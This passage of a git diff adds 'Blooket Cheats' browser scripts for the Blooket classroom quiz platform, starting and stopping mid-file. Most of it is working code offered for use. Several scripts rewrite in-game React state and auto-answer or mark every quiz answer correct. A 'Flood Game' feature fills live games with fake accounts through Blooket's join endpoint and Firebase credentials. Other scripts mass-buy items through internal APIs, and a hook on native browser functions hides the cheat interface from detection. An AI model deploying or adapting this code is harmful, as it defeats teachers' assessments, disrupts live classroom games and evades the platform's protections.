bolder;",t.innerText=String(e[1]),n[e[0]].appendChild(t))}),Object.entries(e.no||{}).forEach(e=>{var t;"msg"!=e[0]&&o.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: darkred; font-weight: bolder;",t.innerText=String(e[1]),n[e[0]].appendChild(t))}))})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/choiceESPLoop.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/kingdom/disableToucan.js b/cheats/kingdom/disableToucan.js new file mode 100644 index 0000000..c44f148 --- /dev/null +++ b/cheats/kingdom/disableToucan.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.taxCounter = Number.MAX_VALUE; + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/disableToucan.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272411 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/kingdom/disableToucan.min.js b/cheats/kingdom/disableToucan.min.js new file mode 100644 index 0000000..ae4a8f9 --- /dev/null +++ b/cheats/kingdom/disableToucan.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tdisableToucan.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.taxCounter=Number.MAX_VALUE};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/disableToucan.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/kingdom/maxStats.js b/cheats/kingdom/maxStats.js new file mode 100644 index 0000000..3f47c9f --- /dev/null +++ b/cheats/kingdom/maxStats.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ materials: 100, people: 100, happiness: 100, gold: 100 }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/maxStats.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272415 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/kingdom/maxStats.min.js b/cheats/kingdom/maxStats.min.js new file mode 100644 index 0000000..7718a5e --- /dev/null +++ b/cheats/kingdom/maxStats.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tmaxStats.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({materials:100,people:100,happiness:100,gold:100})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/maxStats.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/kingdom/readme.md b/cheats/kingdom/readme.md new file mode 100644 index 0000000..617c599 --- /dev/null +++ b/cheats/kingdom/readme.md @@ -0,0 +1,18 @@ +# Crazy Kingdom Cheats + +## [Choice ESP](choiceESP.js) +Shows you what will happen if you say Yes or No +## [Choice ESP Loop](choiceESPLoop.js) +Choice ESP but it infinitely loops + +## [Disable Toucan](disableToucan.js) +Never pay taxes + +## [Max Stats](maxStats.js) +Sets all resources to the max + +## [Set Guests](setGuests.js) +Sets the amount of guests you've seen + +## [Skip Guest](skipGuest.js) +Skips the current guest \ No newline at end of file diff --git a/cheats/kingdom/setGuests.js b/cheats/kingdom/setGuests.js new file mode 100644 index 0000000..6773e5f --- /dev/null +++ b/cheats/kingdom/setGuests.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let guestScore = Number(parseInt(prompt("How many guests do you want?"))); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ guestScore }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/setGuests.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272420 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/kingdom/setGuests.min.js b/cheats/kingdom/setGuests.min.js new file mode 100644 index 0000000..2f02f87 --- /dev/null +++ b/cheats/kingdom/setGuests.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetGuests.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe"),t=(document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Number(parseInt(prompt("How many guests do you want?"))));Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({guestScore:t})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/setGuests.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/kingdom/skipGuest.js b/cheats/kingdom/skipGuest.js new file mode 100644 index 0000000..df5706e --- /dev/null +++ b/cheats/kingdom/skipGuest.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.nextGuest(); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/skipGuest.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272423 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/kingdom/skipGuest.min.js b/cheats/kingdom/skipGuest.min.js new file mode 100644 index 0000000..68763d2 --- /dev/null +++ b/cheats/kingdom/skipGuest.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tskipGuest.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.nextGuest()};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/skipGuest.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/mobileGui.js b/cheats/mobileGui.js new file mode 100644 index 0000000..5261834 --- /dev/null +++ b/cheats/mobileGui.js @@ -0,0 +1,2516 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let n = document.createElement('iframe'); + document.body.append(n); + if (String(Function.prototype.call).includes('native')) { + let call = Function.prototype.call; + let iframe = document.createElement("iframe"); + document.body.append(iframe); + iframe.style.display = "none"; + let funcs = { + querySelectorAll: function () { + if (["#JODGUI", "#JODMOBILE", "#currPageEl", "#YTRkNmM2MWEtOTg3Zi00YmE1LWI1NzUtNTgyOTUzMWI4ZDYx", "#ODJkMThlMDEtYmEwNi00MzE4LTg4ZGMtM2Y2ZDI0MzY4ZjU2", ".cheatList", ".cheatName", "bG1mYW8=", "#aXQncyBjYXQgYW5kIG1vdXNlIGF0IHRoaXMgcG9pbnQ"].includes(arguments[0])) + return []; + return iframe.contentDocument.querySelectorAll.apply(document, arguments); + }, + querySelector: iframe.contentDocument.querySelector.bind(document), + includes: function () { + if (["Cheats", "Global", "Global Cheats", "Discord - oneminesraft2", "Auto Answer (Toggle)", "Auto Sell Dupes On Open", "Spam Buy Blooks", "Food Game", "Change Blook Ingame", "Get Daily Rewards", "Remove Name Limit", "Simulate Unlock", "Cheat ESP", "Gold Quest Cheats", "Cafe Cheats", "Crypto Hack Cheats", "Deceptive Dinos Cheats", "Tower Defense Cheats", "Tower Defense2 Cheats", "Factory Cheats", "Fishing Frenzy Cheats", "Flappy Blook Cheats", "Tower of Doom Cheats", "Crazy Kingdom Cheats", "Racing Cheats", "Battle Royale Cheats", "Blook Rush Cheats", "Monster Brawl Cheats", "Santa's Workshop Cheats"].includes(arguments[0])) + return false; + return iframe.contentWindow.String.prototype.call(this, arguments); + }, + fetch: iframe.contentWindow.fetch.bind(window), + btoa: iframe.contentWindow.btoa.bind(window), + getItem: iframe.contentWindow.localStorage.getItem.bind(window.localStorage) + }, funcNames = Object.keys(funcs); + Function.prototype.call = function () { + if (funcNames.includes(this.name)) return call.apply(funcs[this.name], arguments); + return call.apply(this, arguments) + } + } + window.alert = n.contentWindow.alert.bind(window); + window.prompt = n.contentWindow.prompt.bind(window); + window.confirm = n.contentWindow.confirm.bind(window); + n.remove(); + const addStyles = (element, styles = {}) => Object.entries(styles).forEach(([key, value]) => element.style[key] = value); + let style = document.createElement('style'); + style.innerHTML = (`details > summary { cursor: pointer; transition: 0.15s; list-style: none; } details > summary:hover { color: hsl(0, 0%, 50%) } details > summary::-webkit-details-marker { display: none; } details summary ~ * { animation: sweep .5s ease-in-out; } @keyframes sweep { 0% {opacity: 0; transform: translateY(-10px)} 100% {opacity: 1; transform: translateY(0)} } .cheat { border: none; background: hsl(0, 0%, 20%); padding: 5px; margin: 3px; width: 60%; color: hsl(0, 0%, 100%); transition: 0.2s; border-radius: 5px; cursor: pointer; } .cheat:hover { background: hsl(0, 0%, 30%); }`); + let userData = await Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache).find(x => x.exports.a?.me).exports.a.me({}) || {}; + const guiId = btoa(userData.id || "lmfao").replaceAll(/(=|\/|\.)/g, ""); + + const GUI = document.createElement('div'); + [...document.querySelectorAll("#" + guiId)].forEach(x => x.remove()); + GUI.id = guiId; + GUI.appendChild(style); + addStyles(GUI, { + width: '400px', + background: 'hsl(0, 0%, 10%)', + borderRadius: '10px', + position: 'absolute', + textAlign: 'center', + fontFamily: 'Nunito', + color: 'white', + overflow: 'hidden', + top: '50px', + left: '50px' + }); + + var pos1 = 0, pos2 = 0, pos3 = 0, pos4 = 0; + GUI.onpointerdown = ((e = window.event) => { + e.preventDefault(); + pos3 = e.clientX; + pos4 = e.clientY; + document.onpointerup = (() => { + document.onpointerup = null; + document.onpointermove = null; + }); + document.onpointermove = ((e) => { + e = e || window.event; + e.preventDefault(); + pos1 = pos3 - e.clientX; + pos2 = pos4 - e.clientY; + pos3 = e.clientX; + pos4 = e.clientY; + GUI.style.top = (GUI.offsetTop - pos2) + "px"; + GUI.style.left = (GUI.offsetLeft - pos1) + "px"; + }); + }); + + let header = document.createElement('div'); + GUI.appendChild(header); + addStyles(header, { + width: '100%', + height: '35px', + paddingTop: '2px', + fontSize: '1.5rem', + textAlign: 'center' + }); + header.innerHTML = `Blooket Cheats v12.18.22`; + + let close = document.createElement('button'); + header.appendChild(close); + addStyles(close, { + background: 'red', + height: '45px', + width: '45px', + border: 'none', + cursor: 'pointer', + position: 'absolute', + top: '-10px', + right: '-10px', + fontSize: '1.5rem', + borderRadius: '10px', + fontFamily: 'Nunito', + fontWeight: 'bolder', + paddingTop: '10px', + paddingRight: '15px' + }); + close.innerText = 'X'; + close.onclick = () => { + offLocationChange(); + GUI.remove(); + removeEventListener('keypress', toggleHidden) + } + + let minimize = document.createElement('button'); + header.appendChild(minimize); + addStyles(minimize, { + background: '#444444', + height: '45px', + width: '45px', + border: 'none', + cursor: 'pointer', + position: 'absolute', + top: '-10px', + left: '-10px', + fontSize: '1.5rem', + borderRadius: '10px', + fontFamily: 'Nunito', + fontWeight: 'bolder', + paddingTop: '10px', + paddingLeft: '15px', + }) + minimize.innerText = '-'; + minimize.onclick = () => bodyDiv.hidden = !bodyDiv.hidden; + let bodyDiv = document.createElement('div'); + let body = document.createElement('div'); + bodyDiv.appendChild(body); + GUI.appendChild(bodyDiv); + + body.innerHTML = (`${getSite(true) ? `Current gamemode: ${getSite(true)}` : 'No game detected'}
(Press E to hide)
`); + body.style.display = 'block'; + body.style.margin = '10px'; + + document.body.append(GUI); + + let footer = document.createElement('div'); + bodyDiv.appendChild(footer); + footer.style.fontSize = '0.9rem'; + footer.style.paddingBottom = '5px'; + footer.innerHTML = (`GitHub - 05Konz`); + + let cheats = ({ + global: [ + { + name: "Auto Answer (Toggle)", + description: "Toggles auto answer on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { + if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + else document.querySelector('[class*="feedback"]')?.firstChild?.click?.(); + else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0]) + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Highlight Answers (Toggle)", + description: "Toggles highlight answers on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { stateNode: { state, props } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + [...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => { + if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)"; + else answer.style.backgroundColor = "rgb(189, 15, 38)"; + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Answer", + description: "Click the correct answer for you", + run: function () { + const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { + if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + else document.querySelector('[class*="feedback"]')?.firstChild?.click?.(); + else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0]) + } catch { } + } + }, + { + name: "Highlight Answers", + description: "Colors answers to be red or green highlighting the correct ones", + run: function () { + const { stateNode: { state, props } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + [...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => { + if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)"; + else answer.style.backgroundColor = "rgb(189, 15, 38)"; + }); + } + }, + { + name: "Spam Buy Blooks", + description: "Opens a box an amount of times", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { purchaseBlookBox } = Object.values(webpack.c).find(x => x.exports.a?.purchaseBlookBox).exports.a; + + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { tokens } }) => { + let prices = Object.values(webpack.c).find(x => !isNaN(x?.exports?.a?.Space)).exports.a || { Medieval: 20, Breakfast: 20, Wonderland: 20, Blizzard: 25, Space: 20, Bot: 20, Aquatic: 20, Safari: 20, Dino: 25, "Ice Monster": 25, Outback: 25 } + let box = prompt("Which box do you want to open? (ex: \"Ice Monster\")").split(' ').map(str => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase()).join(' '); + if (!Object.keys(prices).map(x => x.toLowerCase()).includes(box.toLowerCase())) return alert("I couldn't find that box!"); + + let amount = Math.min(Math.floor(tokens / Object.entries(prices).find(x => x[0].toLowerCase() == box.toLowerCase())[1]), parseInt(`0${prompt("How many boxes do you want to open?")}`)); + if (amount == 0) return alert("You do not have enough tokens!"); + + let alertBlooks = confirm("Would you like to alert blooks upon unlocking?"); + let blooks = {}; + let now = Date.now(); + let error = false; + + for (let i = 0; i < amount; i++) { + await purchaseBlookBox({ boxName: box }).then(({ isNewToUser, tokens, unlockedBlook }) => { + blooks[unlockedBlook] ||= 0; + blooks[unlockedBlook]++; + + let before = Date.now(); + + if (alertBlooks) alert(`${unlockedBlook} (${i + 1}/${amount}) ${isNewToUser ? "NEW! " : ''}${tokens} tokens left`); + + now += Date.now() - before; + }).catch(e => error = true); + if (error) break; + } + alert(`(${Date.now() - now}ms) Results:\n${Object.entries(blooks).map(([blook, amount]) => ` ${blook} ${amount}`).join(`\n`)}`); + }).catch(() => alert('There was an error user data!')); + } + }, + { + name: "Remove Name Limit", + description: "Sets the name limit to 120, which is the actual max name length limit", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + document.querySelector('input[class*="nameInput"]').maxLength = 120; /* 120 is the actual limit */ + alert("Removed name length limit"); + } + }, + { + name: "Remove Random Name", + description: "Allows you to put a custom name", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ isRandom: false, client: { name: "" } }); + document.querySelector('[class*="nameInput"]')?.focus?.(); + } + }, + { + name: "Sell Cheap Duplicates", + description: "Sells all of your uncommon to epic dupes (not legendaries+)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a; + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => { + let blooks = Object.entries(unlocks).filter(([blook, amount]) => amount > 1 && !["Legendary", "Chroma", "Mystical"].includes(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a[blook].rarity)); + if (confirm(`Are you sure you want to sell your uncommon to epic dupes?`)) { + let now = Date.now(); + for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 }); + alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`); + } + }).catch(() => alert('There was an error user data!')); + } + }, + { + name: "Sell Duplicate Blooks", + description: "Sell all duplicate blooks leaving you with 1 each", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a; + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => { + let blooks = Object.entries(unlocks).filter(x => x[1] > 1); + if (confirm(`Are you sure you want to sell your dupes?`)) { + let now = Date.now(); + for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 }); + alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`); + } + }).catch((e) => (alert('There was an error user data!'), console.info(e))); + } + }, + { + name: "Every Answer Correct", + description: "Sets every answer to be correct", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.freeQuestions = stateNode.questions = stateNode.props.client.questions.map(x => ({ ...x, correctAnswers: x.answers })); + } + }, + { + name: "Flood Game", + description: "Floods a game with a number of fake accounts", + run: async function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + + const id = prompt("Game ID:"); + const name = prompt("Name:"); + const amount = parseInt(prompt("Amount:")); + + let cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache); + const axios = cache.find((x) => x.exports?.a?.get).exports.a; + const firebase = cache.find(x => x.exports?.a?.initializeApp).exports.a; + const blooks = Object.keys(Object.values(cache).find(x => x.exports.a?.Black).exports.a); + + for (let i = 1; i <= amount; i++) { + (async () => { + let ign = `${name}${String.fromCharCode(96 + i)}`; + const { data: { success, fbToken, fbShardURL } } = await axios.put("https://fb.blooket.com/c/firebase/join", { id, name: ign }); + if (!success) return; + const liveApp = firebase.initializeApp({ + apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU", + authDomain: "blooket-2020.firebaseapp.com", + projectId: "blooket-2020", + storageBucket: "blooket-2020.appspot.com", + messagingSenderId: "741533559105", + appId: "1:741533559105:web:b8cbb10e6123f2913519c0", + measurementId: "G-S3H5NGN10Z", + databaseURL: fbShardURL + }, ign); + const auth = firebase.auth(liveApp); + await auth.setPersistence(firebase.auth.Auth.Persistence.NONE).catch(console.error); + await auth.signInWithCustomToken(fbToken).catch(console.error); + await liveApp.database().ref(`${id}/c/${ign}`).set({ b: blooks[Math.floor(Math.random() * blooks.length)] }); + liveApp.delete(); + })(); + await new Promise(r => setTimeout(r, 100)); + } + } + }, + { + name: "Change Blook Ingame", + description: "Changes your blook", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let { props } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + props.client.blook = prompt("Blook Name: (Case Sensitive)");; + props.liveGameController.setVal({ path: `c/${props.client.name}/b`, val: props.client.blook }); + } + }, + { + name: "Get Daily Rewards", + description: "Gets max daily tokens and 